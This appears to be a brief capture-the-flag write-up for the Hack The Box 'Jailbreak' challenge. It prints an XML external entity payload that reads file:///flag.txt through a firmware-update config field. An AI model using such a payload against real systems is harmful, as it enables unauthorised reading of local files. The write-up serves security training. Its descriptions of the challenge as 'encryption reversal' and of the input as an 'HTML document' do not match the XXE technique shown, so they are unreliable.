HackTheBox Jailbreak Writeup
Explore the basics of cybersecurity in the Jailbreak Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
https://app.hackthebox.com/challenges/728
Description
The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device.
Exploitation
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<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///flag.txt">]>
<FirmwareUpdateConfig>
<Firmware>
<Version>1.33.7&example;</Version>
Summary
The Jailbreak Challenge at Hack The Box is designed as an introductory exercise in cybersecurity, emphasizing encryption reversal and file handling. This beginner-friendly, easy-level challenge involves manipulating a sample HTML document that includes an external entity pointing to a flag file (file:///flag.txt). Participants can leverage this setup to successfully retrieve the flag, gaining practical insight into basic security vulnerabilities.